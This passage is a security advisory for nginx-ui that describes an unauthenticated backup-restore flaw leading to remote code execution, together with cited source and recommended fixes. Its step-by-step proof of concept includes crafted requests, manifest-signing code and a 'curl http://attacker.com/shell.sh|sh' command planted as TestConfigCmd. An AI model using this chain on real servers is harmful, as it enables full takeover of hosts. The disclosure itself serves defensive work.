It calls AuthRequired() only when InstallLockStatus() || IsInstallTimeoutExceeded() is true. Both conditions are false on a fresh install within the first 10 minutes: 4

- InstallLockStatus() returns false because JwtSecret is "" on a fresh install and SkipInstallation defaults to false. - IsInstallTimeoutExceeded() returns false for the first 10 minutes after startupTime is set in init().

When both are false, authIfInstalled calls ctx.Next() with zero authentication.

2.3 The EncryptedForm Middleware Is Not a Security Barrier

The EncryptedForm() middleware between authIfInstalled and RestoreBackup is optional — it only activates if the request includes an encryptedparams field. If that field is absent, it calls c.Next() immediately: 5

An attacker sends a plain multipart/form-data request without encryptedparams and the middleware is a no-op.

2.4 The Attacker Controls the AES Key Used to Verify the Backup

The restore handler accepts the AES key and IV directly from the attacker via the securitytoken form field: 6

The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7

Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.

2.5 Restore Overwrites app.ini and the SQLite Database Unconditionally

When restorenginxui=true, restoreNginxUIConfig directly copies files from the backup onto disk with no content validation: 8

2.6 Restored TestConfigCmd Is Executed as a Shell Command

After restore, risefront.Restart() is called, reloading app.ini: 9

On the next call to TestConfig(), the value of TestConfigCmd from the restored app.ini is passed verbatim to /bin/sh -c: 10 11

---

3. Attack Prerequisites

| Requirement | Notes | |---|---| | Network access to nginx-ui port | Default: 9000/tcp | | Target is a fresh install | JwtSecret is empty in app.ini | | Within 10 minutes of last process start | Window resets on every restart | | IP not blocked by IPWhiteList | Default config has no IP whitelist |

The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets startupTime via init(), reopening the window.

---

4. Step-by-Step Proof of Concept

Step 1 — Confirm the installation window is open

http GET /api/install HTTP/1.1 Host: target:9000

Expected response confirming vulnerability: json {"lock": false, "timeout": false}

Step 2 — Craft the malicious backup

The backup format (derived from internal/backup/backup.go) is:

backup-TIMESTAMP.zip ← outer ZIP (unencrypted) ├── manifest.json ← JSON manifest ├── manifest.sig ← HMAC-SHA256 of manifest.json ├── nginx-ui.zip ← AES-CBC encrypted inner ZIP └── nginx.zip ← AES-CBC encrypted inner ZIP

2a. Generate a random 32-byte AES key and 16-byte IV.

2b. Create the malicious app.ini to place inside nginx-ui.zip:

ini [app] JwtSecret = attackerchosenjwtsecret32chars

[node] Secret = attackerchosennodesecret

[nginx] TestConfigCmd = curl http://attacker.com/shell.sh|sh

2c. Create a SQLite database (nginx-ui.db) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).

2d. Package app.ini and nginx-ui.db into nginx-ui.zip. Package an empty or minimal nginx.zip.

2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.

2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build manifest.json:

json { "schema": 1, "createdat": "20260421-120000", "version": "2.0.0", "files": [ {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>}, {"name": "nginx.zip", "sha256": "<hash>", "size": <size>} ] }

2g. Compute the HMAC-SHA256 signature of manifest.json using the signing key derived as:

python import hashlib, hmac context = b"nginx-ui-backup-signing-v1:" signingkey = hashlib.sha256(context + aeskey).digest() sig = hmac.new(signingkey, manifestbytes, hashlib.sha256).hexdigest()

2h. Assemble the outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.

Step 3 — Upload the malicious backup (no authentication required)

http POST /api/restore HTTP/1.1 Host: target:9000 Content-Type: multipart/form-data; boundary=----Boundary

------Boundary Content-Disposition: form-data; name="backupfile"; filename="evil.zip" Content-Type: application/zip

[crafted backup bytes] ------Boundary Content-Disposition: form-data; name="securitytoken"

<base64(aeskey)>:<base64(aesiv)> ------Boundary Content-Disposition: form-data; name="restorenginxui"

true ------Boundary--

Expected response (HTTP 200): json {"nginxuirestored": true, "nginxrestored": false, "hashmatch": true}

nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.

Step 4 — Trigger RCE using the restored node secret

After the restart (wait ~3 seconds):

http POST /api/nginx/test HTTP/1.1 Host: target:9000 X-Node-Secret: attackerchosennodesecret

nginx-ui executes: sh /bin/sh -c "curl http://attacker.com/shell.sh|sh"

The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).

---

5. Impact

- Confidentiality: Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in app.ini. - Integrity: Arbitrary modification of all nginx configurations and nginx-ui application state. - Availability: Complete denial of service; nginx and nginx-ui can be stopped or misconfigured. - Scope: OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.

---

6. Affected Versions

All versions of nginx-ui where authIfInstalled is used as the sole authentication guard on POST /api/restore. The vulnerability is present in the current dev branch.

---

7. Recommended Fix

Primary fix — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive:

go // api/backup/router.go func InitRouter(r gin.RouterGroup) { r.GET("/backup", middleware.AuthRequired(), CreateBackup) r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup) }

If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.

Secondary fix — Validate the content of restored app.ini before writing it to disk. Specifically, TestConfigCmd, ReloadCmd, and RestartCmd should be rejected or stripped from any externally-supplied backup.

---

8. Timeline

| Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) |

Citations

File: router/routers.go (L61-70) go root := r.Group("/api", middleware.IPWhiteList()) { public.InitRouter(root) crypto.InitPublicRouter(root) user.InitAuthRouter(root) license.InitRouter(root)

system.InitPublicRouter(root) system.InitSelfCheckRouter(root) backup.InitRouter(root)

File: api/backup/router.go (L9-16) go // authIfInstalled requires auth if system is installed func authIfInstalled(ctx gin.Context) { if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() { middleware.AuthRequired()(ctx) } else { ctx.Next() } }

File: api/backup/router.go (L18-25) go func InitRouter(r gin.RouterGroup) { // Backup always requires authentication (contains sensitive data) r.GET("/backup", middleware.AuthRequired(), CreateBackup)

// Restore requires auth only after installation // This allows restoring backup during initial setup r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup) }

File: api/system/install.go (L27-34) go func InstallLockStatus() bool { return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != "" }

// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded func IsInstallTimeoutExceeded() bool { return time.Since(startupTime) > 10time.Minute }

File: internal/middleware/encryptedparams.go (L69-75) go // Check if encryptedparams field exists encryptedParams := c.Request.FormValue("encryptedparams") if encryptedParams == "" { // No encryption, continue normally c.Next() return }

File: api/backup/restore.go (L35-70) go securityToken := c.PostForm("securitytoken") // Get concatenated key and IV // Get backup file backupFile, err := c.FormFile("backupfile") if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error())) return }

// Validate security token if securityToken == "" { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return }

// Split security token to get Key and IV parts := strings.Split(securityToken, ":") if len(parts) != 2 { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return }

aesKey := parts[0] aesIv := parts[1]

// Decode Key and IV from base64 key, err := base64.StdEncoding.DecodeString(aesKey) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error())) return }

iv, err := base64.StdEncoding.DecodeString(aesIv) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error())) return }

File: api/backup/restore.go (L126-132) go if restoreNginxUI { go func() { time.Sleep(2 time.Second) // gracefully restart risefront.Restart() }() }

File: internal/backup/manifest.go (L156-163) go func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) { if len(aesKey) == 0 { return nil, ErrInvalidAESKey }

sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...)) return sum[:], nil }

File: internal/backup/restore.go (L458-484) go // restoreNginxUIConfig restores nginx-ui configuration files func restoreNginxUIConfig(nginxUIBackupDir string) error { // Get config directory configDir := filepath.Dir(cosysettings.ConfPath) if configDir == "" { return ErrConfigPathEmpty }

// Restore app.ini to the configured location srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini") if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil { return err }

// Restore database file if exists dbName := settings.DatabaseSettings.GetName() srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db") destDBPath := filepath.Join(configDir, dbName+".db")

// Only attempt to copy if database file exists in backup if , err := os.Stat(srcDBPath); err == nil { if err := copyFile(srcDBPath, destDBPath); err != nil { return err } }

return nil

File: internal/nginx/nginx.go (L25-36) go func TestConfig() (stdOut string, stdErr error) { mutex.Lock() defer mutex.Unlock() if settings.NginxSettings.TestConfigCmd != "" { return execShell(settings.NginxSettings.TestConfigCmd) } sbin := GetSbinPath() if sbin == "" { return execCommand("nginx", "-t") } return execCommand(sbin, "-t") }

File: internal/nginx/exec.go (L12-28) go func execShell(cmd string) (stdOut string, stdErr error) { var execCmd exec.Cmd

if runtime.GOOS == "windows" { execCmd = exec.Command("cmd", "/c", cmd) } else { execCmd = exec.Command("/bin/sh", "-c", cmd) }

execCmd.Dir = GetNginxExeDir() bytes, err := execCmd.CombinedOutput() stdOut = string(bytes) if err != nil { stdErr = err } return }

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203